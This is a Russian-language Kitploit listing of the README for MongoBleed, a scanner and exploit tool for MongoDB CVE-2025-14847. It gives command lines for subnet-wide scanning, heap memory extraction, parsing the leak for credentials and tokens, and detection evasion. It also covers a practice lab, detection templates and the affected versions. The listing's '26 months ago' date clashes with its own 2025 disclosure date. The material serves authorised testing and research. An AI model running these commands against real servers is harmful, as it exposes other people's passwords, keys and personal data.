Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included | Kitploit
Инструменты/GitHubGitHub/sho-luv/mongobleed
Vulnerability ScannersMemory ForensicsNetwork MappingExploitationCTFPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included

26 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

MongoBleed

CVE-2025-14847 Сканер и набор инструментов для эксплуатации

Набор инструментов для исследования безопасности MongoBleed — критическая утечка памяти без аутентификации в декомпрессии zlib MongoDB, позволяющая злоумышленникам извлекать конфиденциальные данные из кучи сервера без аутентификации.

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

Быстрый старт

root@kitploit:~
# No external dependencies -- Python 3 standard library only
cd cli

# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017

# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24

# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials

# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s

Структура репозитория

root@kitploit:~
MongoBleed/
├── cli/                          # Сканер и инструмент эксплуатации из командной строки
│   ├── mongobleed.py             # Основной CLI-инструмент
│   ├── requirements.txt          # Зависимости Python (только stdlib)
│   └── README.md                 # документация CLI
├── lab/                          # Лабораторная среда CTF на базе Docker
│   ├── docker-compose.yml        # Настройка многоконтейнерной лаборатории
│   ├── vulnerable/               # Уязвимые конфигурации MongoDB
│   ├── patched/                  # Исправленная MongoDB для сравнения
│   ├── no-zlib/                  # Неэксплуатируемая (zlib отключен)
│   ├── monitoring/               # Панель визуализации атак
│   ├── warmup-heap.sh            # Заполнение кучи конфиденциальными данными
│   └── README.md                 # Инструкции по настройке лаборатории
├── nuclei/                       # Шаблоны сканирования Nuclei
│   ├── CVE-2025-14847.yaml       # Шаблон активной эксплуатации
│   ├── CVE-2025-14847-safe.yaml  # Шаблон безопасного обнаружения
│   └── README.md                 # Документация шаблонов Nuclei
├── docs/                         # Учебная документация
│   ├── README.md                 # Индекс учебного пути
│   ├── 01-fundamentals.md        # Основы MongoDB и памяти
│   ├── 02-vulnerability.md       # Глубокое погружение в CVE-2025-14847
│   ├── 03-exploitation.md        # Практическая эксплуатация
│   ├── 04-detection.md           # Охота и обнаружение
│   └── 05-defense.md             # Стратегии смягчения
└── README.md                     # Этот файл

Возможности

CLI-инструмент

  • Определение версии и обнаружение сжатия (zlib/snappy/zstd)
  • Обнаружение уязвимости с опцией безопасного режима
  • Извлечение памяти через сканирование смещений (настраиваемый диапазон)
  • Обнаружение шаблонов учетных данных (16 шаблонов: пароли, API-ключи, JWT, ключи AWS, URI MongoDB и т. д.)
  • Поддержка CIDR-нотации (192.168.1.0/24, 10.0.0.0/16:27018)
  • Пакетное сканирование из файлов с целями с многопоточностью
  • Режим непрерывного извлечения
  • Дамп в шестнадцатеричном формате и извлечение печатных строк
  • Вывод в JSON и экспорт в файл
  • Управление обходом обнаружения (задержка, джиттер)
  • Цветной вывод в терминал

Лабораторная среда

  • Несколько уязвимых версий MongoDB (4.4.29, 6.0.26, 8.0.16)
  • Исправленная версия для сравнения (8.0.17)
  • Версия без zlib, демонстрирующая смягчение
  • Предварительно заполнена реалистичными конфиденциальными данными
  • Флаги в стиле CTF для обучения
  • Панель мониторинга с визуализацией атак
  • Скрипт разогрева кучи для надежных демонстраций эксплуатации

Шаблоны Nuclei

  • Шаблон безопасного обнаружения (только проверка версии и сжатия)
  • Шаблон активной эксплуатации (подтверждение версии и zlib)

Использование

Обнаружение

root@kitploit:~
# Check single target
python mongobleed.py -t localhost:27017

# Check with verbose output
python mongobleed.py -t localhost:27017 -v

# Safe mode -- detection only, never sends exploit payload
python mongobleed.py -t localhost:27017 -s

# Show version info
python mongobleed.py -t localhost:27017 --version

Сетевое сканирование

root@kitploit:~
# Scan a /24 subnet
python mongobleed.py -t 192.168.1.0/24

# CIDR with custom port
python mongobleed.py -t 10.0.0.0/24:27018

# Scan from target file (CIDR ranges in file are expanded)
python mongobleed.py -T targets.txt -j 20 -o results.json

# Target file can contain IPs, host:port, and CIDR ranges
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

Извлечение памяти

root@kitploit:~
# Extract memory (default offset range 20-8192)
python mongobleed.py -t target:27017 -e

# Custom offset range
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Continuous extraction (Ctrl+C to stop)
python mongobleed.py -t target:27017 --continuous

# Force extraction even if version check is inconclusive
python mongobleed.py -t target:27017 -e --force

Анализ

root@kitploit:~
# Parse leaked memory for credentials and secrets
python mongobleed.py -t target:27017 -e --credentials

# Parse for tokens specifically
python mongobleed.py -t target:27017 -e --tokens

# Extract printable strings
python mongobleed.py -t target:27017 -e --strings

# Hexdump output
python mongobleed.py -t target:27017 -e --hexdump

Обход обнаружения

root@kitploit:~
# Add delay between requests (milliseconds)
python mongobleed.py -t target:27017 -e --delay 500

# Random jitter on delay
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Шаблоны Nuclei

root@kitploit:~
# Safe detection only
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Active detection
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Scan multiple targets
nuclei -t nuclei/ -l targets.txt

Лабораторная среда

root@kitploit:~
# Start all containers
cd lab && docker compose up -d

# Services:
# - localhost:27017  MongoDB 4.4.29 (Уязвимая + zlib)
# - localhost:27018  MongoDB 6.0.26 (Уязвимая + zlib)
# - localhost:27019  MongoDB 8.0.16 (Уязвимая + zlib)
# - localhost:27020  MongoDB 8.0.17 (Исправленная)
# - localhost:27021  MongoDB 8.0.16 (Без zlib - неэксплуатируемая)
# - localhost:8080   Панель мониторинга

# Warm up heap with sensitive data before exploitation
./warmup-heap.sh 27017 50

# Run exploit against lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

Параметры CLI

root@kitploit:~
Цель:
  -t, --target TARGET     Цель host:port или диапазон CIDR (например, 192.168.1.0/24)
  -T, --targets FILE      Файл со списком целей (поддерживает CIDR в каждой строке)

Обнаружение:
  --detect                Определить, уязвима ли цель (действие по умолчанию)
  --version               Показать версию MongoDB
  -s, --safe              Безопасный режим - только обнаружение, без эксплуатации

Эксплуатация:
  -e, --extract           Извлечь память через сканирование смещений
  --min-offset N          Минимальное смещение для зондирования (по умолчанию: 20)
  --max-offset N          Максимальное смещение для зондирования (по умолчанию: 8192)
  --continuous            Режим непрерывного извлечения
  --force                 Принудительное извлечение, даже если проверка версии не удалась

Анализ:
  --credentials           Разобрать на учетные данные
  --tokens                Разобрать на токены
  --strings               Извлечь печатные строки
  --hexdump               Показать hexdump

Обход обнаружения:
  --delay MS              Задержка между запросами (миллисекунды)
  --jitter                Случайный джиттер задержки

Вывод:
  -o, --output FILE       Выходной файл (JSON)
  -v, --verbose           Подробный вывод
  -q, --quiet             Тихий режим
  --json                  Вывод в JSON
  --no-color              Отключить цвета

Подключение:
  --timeout SECS          Тайм-аут подключения (по умолчанию: 10)
  -j, --threads N         Потоки для пакетного сканирования (по умолчанию: 10)

Шаблоны обнаружения учетных данных

Инструмент ищет в извлеченной памяти следующие шаблоны:

Детали CVE-2025-14847

Затронутые версии

Как это работает

MongoBleed использует уязвимость в декомпрессии сообщений zlib в MongoDB (message_compressor_zlib.cpp). Уязвимый код возвращает размер выделенного буфера вместо фактической длины декомпрессированных данных, что позволяет злоумышленникам читать неинициализированную память кучи.

root@kitploit:~
1. ПОДКЛЮЧЕНИЕ (аутентификация не требуется)
              ↓
2. ОТПРАВКА НЕПРАВИЛЬНОГО OP_COMPRESSED
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLATED       │ ← Bug trigger
   │ compressorId: zlib (2)           │
   │ compressedMessage: [small data]  │
   └──────────────────────────────────┘
              ↓
3. СЕРВЕР ВЫДЕЛЯЕТ СЛИШКОМ БОЛЬШОЙ БУФЕР
   [ small real data | uninitialized heap memory ]
              ↓
4. ПАРСЕР BSON ЧИТАЕТ МУСОР КУЧИ
   Раздутая длина документа заставляет парсер читать
   за пределами фактических данных в память кучи
              ↓
5. ОТВЕТ С ОШИБКОЙ УТЕЧКА ПАМЯТИ
   "invalid BSON field name 'password=secret123...'"

Что может быть утечено

  • Учетные данные и пароли баз данных
  • Ключи API и токены
  • Токены сессий и JWT
  • Строки подключения MongoDB
  • Секреты приложений из памяти
  • Персональные данные клиентов из недавних запросов
  • Внутренние данные конфигурации

Благодарности

  • Joe Desimone (Elastic Security) — Оригинальный PoC и именование уязвимости
  • Команда безопасности MongoDB — Разработка исправления
  • Wiz Research — Анализ эксплуатации в реальных условиях
  • Eric Capuano — Сигнатуры обнаружения и артефакт Velociraptor

Ссылки

  • Рекомендации по безопасности MongoDB
  • Блог Wiz — Анализ MongoBleed
  • Охота на MongoBleed — Eric Capuano
  • Оригинальный PoC — joe-desimone/mongobleed
  • NVD — CVE-2025-14847

Отказ от ответственности

Данный набор инструментов предоставляется только для авторизованного тестирования безопасности, исследований и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.

Лицензия

MIT License

Скачать инструмент
ТипПример шаблона
парольpassword: value, passwd=value
секретsecret: value
api_ключapi_key: sk_live_...
токенtoken: ... (16+ символов)
bearer_токенBearer eyJ...
jwteyJ... (Base64 JWT)
mongodb_urimongodb://user:pass@host
postgres_uripostgresql://...
redis_uriredis://...
stripe_ключsk_live_...
openai_ключsk-... (48+ символов)
aws_ключ_доступаAKIA...
github_токенghp_...
slack_токенxoxb-..., xoxp-...
ctf_флагFLAG{...}
ПунктЗначение
CVECVE-2025-14847
НазваниеMongoBleed
CWECWE-130 (Неправильная обработка параметра длины)
CVSS8.7 (Высокий)
ТипУтечка памяти без аутентификации
Раскрытие19 декабря 2025 г.
Эксплуатируется в реальных условиях29 декабря 2025 г.
ВетвьУязвимаяИсправленная
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.xВсе версииEOL - Без исправления
4.0.xВсе версииEOL - Без исправления
3.6.xВсе версииEOL - Без исправления